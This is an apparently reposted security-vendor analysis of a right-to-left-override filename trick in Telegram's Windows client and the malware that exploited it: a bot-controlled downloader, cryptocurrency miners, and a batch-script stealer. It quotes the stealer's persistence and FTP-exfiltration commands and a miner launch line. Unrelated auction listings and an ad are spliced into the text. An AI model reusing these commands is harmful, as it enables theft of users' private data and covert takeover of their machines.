In October 2017, we learned of a vulnerability in Telegram Messenger’s Windows client that was being exploited in the wild. It involves the use of a classic right-to-left override attack when a user sends files over the messenger service.
Right-to-left override in a nutshell
The special nonprinting right-to-left override (RLO) character is used to reverse the order of the characters that come after that character in the string. In the Unicode character table, it is represented as ‘U+202E’; one area of legitimate use is when typing Arabic text. In an attack, this character can be used to mislead the victim. It is usually used when displaying the name and extension of an executable file: a piece of software vulnerable to this sort of attack will display the filename incompletely or in reverse.
New Mac Malware uses Right-to-Left override character (U+202E) to cause OS X to display this… http://t.co/wGxuRK1ReG pic.twitter.com/DWfPOYkZgO
— Mikko Hypponen (@mikko) 15 июля 2013 г.
End Date: Monday Feb-24-2020 9:44:42 PST
Buy It Now for only: $0.99
Buy It Now | Add to watch list
End Date: Wednesday Feb-19-2020 2:44:39 PST
Buy It Now for only: $11.55
Buy It Now | Add to watch list
Launching an attack on Telegram
Below is an account of how this vulnerability was exploited in Telegram:
The cybercriminal prepares the malware to be sent in a message. For example, a JS file is renamed as follows:
evil.js -> photo_high_re*U+202E*gnp.js
Where *U+202E* is the RLO character to make Telegram display the remaining string gnp.js in reverse. Note that this operation does not change the actual file – it still has the extension *.js.
The attacker sends the message, and – surprise! – the recipient sees an incoming PNG image file instead of a JS file:
When the user clicks on this file, the standard Windows security notification is displayed:
Importantly, this notification is only displayed if it hasn’t been disabled in the system’s settings. If the user clicks on ‘Run’, the malicious file is launched.
Exploitation in the wild
After learning the vulnerability, we began to research cases where it was actually exploited. These cases fall into several general scenarios.
The aim of this sort of attack is to take control of the victim’s system, and involves the attacker studying the target system’s environment and the installation of additional modules.
At the first stage, a downloader is sent to the target, which is written in .Net, and uses Telegram API as the command protocol:
With this token and API, it is easy to find the Telegram bot via which the infected systems are controlled:
When launched, it modifies startup registry key to achieve persistence on a system and copies its executable file into one of the directories, depending on the environment:
Then it begins to check every two seconds for commands arriving from the control bot. Note that the commands are implemented in Russian:
The list of supported commands shows that the bot can silently deploy arbitrary malicious tools like backdoors, loggers and other malware on the target system. A complete list of supported commands is given below:
Send list of files in directory to control bot.
Launch executable file using Process.Start().
Check if tor process is running, download logg.zip, unpack it, delete the archive and launch its content.
Download file into its own directory.
Delete file from its own directory.
Unpack archive in its own directory using specified password.
Terminate specified process using process.Kill()
Same as ‘Download’ (see above), with different command parsing.
Same as ‘Launch’ (see above), with different command parsing.
Same as ‘Delete’ (see above), with different command parsing.
Same as ‘Unpack’ (see above), with different command parsing.
Send a list of commands running on target PC to control bot.
An analysis of these commands shows that this loader may be designed to download another piece of malware, possibly a logger that would spy on the victim user.
Miners and more
Amid the cryptocurrency boom, cybercriminals are increasingly moving away from ‘classic robbery’ to a new method of making money from their victims – namely mining cryptocurrency using the resources of an infected computer. All they have to do is run a mining client on the victim computer and specify the details of their cryptocurrency wallet.
At the first stage of the attack, an SFX archive with a script is used that launches an executable file:
This run.exe file is in fact a BAT file. The batch script, after extraction, looks like this:
As we can see, the malicious program first opens a decoy file – in this case it is an image to lull the victim into a false sense of security.
Then, two miners launch one after the other. They are launched as services with the help of the nssm.exe utility, which is also contained in the same SFX archive.
nheq.exe: an Equihash miner for NiceHash (in this specific case, it mined Zcash). Can use the resources of both the CPU and graphics accelerator:
taskmgn.exe – another popular miner implementing the CryptoNight algorithm. It mines Fantomcoin and Monero. There is a known specific string with pdb path:
We have seen several versions of this batch script, some of which have extra features:
This specific version disables Windows security features, then logs on to a malicious FTP server, downloads a payload and launches it. In this case, the payload was an SFX archive that contains another miners and a Remote Manipulator System (RMS) client, an analog of TeamViewer. Using AutoIt scripts, the malware deploys RMS on the targeted computer for subsequent remote access:
The attack flowchart is approximately as follows:
We have examined this FTP server and found several more similar payloads, which are possibly loaded by other versions of this malware.
The file address4.exe is worthy of a special mention. Like the other files, it is an SFX archive with the following contents:
All components named st*.exe are executable PE files converted in a similar way from batch scripts.
The SFX script launches the component st1.exe:
st1.exe adds st2.exe to the system startup by writing the appropriate record to the system registry:
reg add HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunOnce /v RUN1 /d %temp%adressst2.exe /f
So the st2.exe file launches when system is booted next time:
TIMEOUT /T 10 /NOBREAK #Waits for Telegram to launch
taskkill /IM telegram.exe #Terminates Telegram processes
cd %temp%sss #Creates a temporary directory
“%temp%adressWinRAR.exe” A -ibck -inul -r -agYY-mm-dd-hh-mm-ss “%temp%sss1.rar” “%appdata%Telegram Desktop” #Packs the Telegram directory into a RAR archive
TIMEOUT /T 60 /NOBREAK
ping -n 1 ya.ru |>nul find /i “TTL=” && (start “” %temp%/adress/st3.exe) || (ping 127.1 -n 2& Goto :begin) #Checks Internet connection and launches st3.exe
As expected, st3.exe logs on to the malicious FTP server and uploads the RAR archive that was created earlier:
@echo mput %temp%sss*.rar>>command.txt
ftp -s:command.txt -i free11.beget.com
attrib %temp%/adress +H
attrib %temp%/adress* +H
On that FTP server, we discovered several archives of this type containing Telegram directories stolen from the victims:
Each dump contains, as well as the Telegram client’s executables and utility files, an encrypted local cache containing different files used in personal communications: documents, videos and audio records and photos.
Just like in the previous scenario, an attack starts with an SFX archive opening and launching a VBScript that it contains. Its main job is to open a decoy image to distract the user, and then download and launch the payload:
The payload is an SFX archive with the following script:
svchost.vbs is a script controlling the launch of the miner CryptoNight (csrs.exe). It monitors the task list; if it detects a task manager (taskmgr.exe, processhacker.exe) on that list, it terminates the miner’s process and re-launches it when the task manager is closed.
The script contains the appropriate comments:
The miner itself is launched as follows:
WshShell.Run “csrs.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u XXXXXXXXX@yandex.ru -p x -dbg -1″ & cores, 0
The pool address is associated with the cryptocurrency Monero.
On the server itself, in addition to the specified payload files, we found similar SFX archives with miners:
It appears that only Russian cybercriminals were aware of this vulnerability, with all the exploitation cases that we detected occurring in Russia. Also, while conducting a detailed research of these attacks we discovered a lot of artifacts that pointed to involvement by Russian cybercriminals.
We don’t have exact information about how long and which versions of the Telegram products were affected by the vulnerability. What we do know is that its exploitation in Windows clients began in March 2017. We informed the Telegram developers of the problem, and the vulnerability no longer occurs in Telegram’s products.
This paper presents only those cases that were reported by Kaspersky Lab’s telemetry systems. The full scope and other methods of exploitation remain unknown.
Click here for best antivirus and antispyware software
Powered by WPeMatico